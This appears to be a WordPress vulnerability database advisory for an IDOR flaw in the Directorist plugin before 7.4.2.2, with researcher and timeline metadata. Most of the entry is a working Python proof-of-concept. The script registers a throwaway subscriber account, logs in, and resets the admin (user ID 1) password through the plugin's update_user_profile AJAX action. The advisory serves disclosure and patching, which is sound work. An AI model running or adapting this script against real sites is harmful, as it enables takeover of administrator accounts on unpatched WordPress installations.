WordPress Plugin Vulnerabilities
Directorist < 7.4.2.2 - Subscriber+ Arbitrary User Password Update via IDOR
Description
The plugin suffers from an IDOR vulnerability which an attacker can exploit to change the password of arbitrary users instead of his own.
Proof of Concept
The following Python script automates the exploitation of this vulnerability. The script was tested on an installation of WordPress 6.1 with the vulnerable plugin installed. The PoC registers a new user account (randomly generated) and changes the admin user's password (user id 1) to a randomly generated password. import re import string import random import requests BASE_URL = "http://127.0.0.1:7777" REG_PAGE = BASE_URL + "/?page_id=14" LOGIN_PAGE = BASE_URL + "/?page_id=15" DASH_PAGE = BASE_URL + "/?page_id=13" USERNAME = "".join(random.choices(string.ascii_lowercase, k=8)) PASSWORD = "".join(random.choices(string.ascii_letters, k=12)) NEW_ADMIN_PASS = "".join(random.choices(string.ascii_letters, k=16)) with requests.Session() as session: print(f"[+] Registering user account: {USERNAME}:{PASSWORD}") response = session.get(REG_PAGE) nonce = re.search('"directorist_nonce":"(.+?)"', response.text).group(1) repsonse = session.post( REG_PAGE, data={ "username": USERNAME, "email": USERNAME + "@example.com", "password": PASSWORD, "privacy_policy": "on", "t_c_check": "on", "atbdp_user_submit": "", "directorist_nonce": nonce, }, ) print(f"[+] Authenticating as user: {USERNAME}") response = session.get(LOGIN_PAGE) nonce = re.search(r'<input type="hidden" id="security" name="security" value="(\w+)" />', response.text).group(1) response = session.post( f"{BASE_URL}/wp-admin/admin-ajax.php?action=ajaxlogin", data={ "security": nonce, "username": USERNAME, "password": PASSWORD, "rememberme": "0", }, ) print(f"[+] Changing admin (uid=1) password to: {NEW_ADMIN_PASS}") response = session.get(DASH_PAGE) directorist_nonce = re.search('"directorist_nonce":"(.+?)"', response.text).group(1) response = session.post( f"{BASE_URL}/wp-admin/admin-ajax.php?action=update_user_profile", data={ "directorist_nonce": directorist_nonce, "user[ID]": "1", "user[new_pass]": NEW_ADMIN_PASS, "user[confirm_pass]": NEW_ADMIN_PASS, }, )
Affects Plugins
References
CVE
Classification
Type
IDOR
OWASP top 10
CWE
CVSS
Miscellaneous
Original Researcher
cydave
Submitter
cydave
Submitter website
Submitter twitter
Verified
Yes
WPVDB ID
Timeline
Publicly Published
2022-11-16 (about 1 years ago)
Added
2022-11-21 (about 1 years ago)
Last Updated
2022-11-21 (about 1 years ago)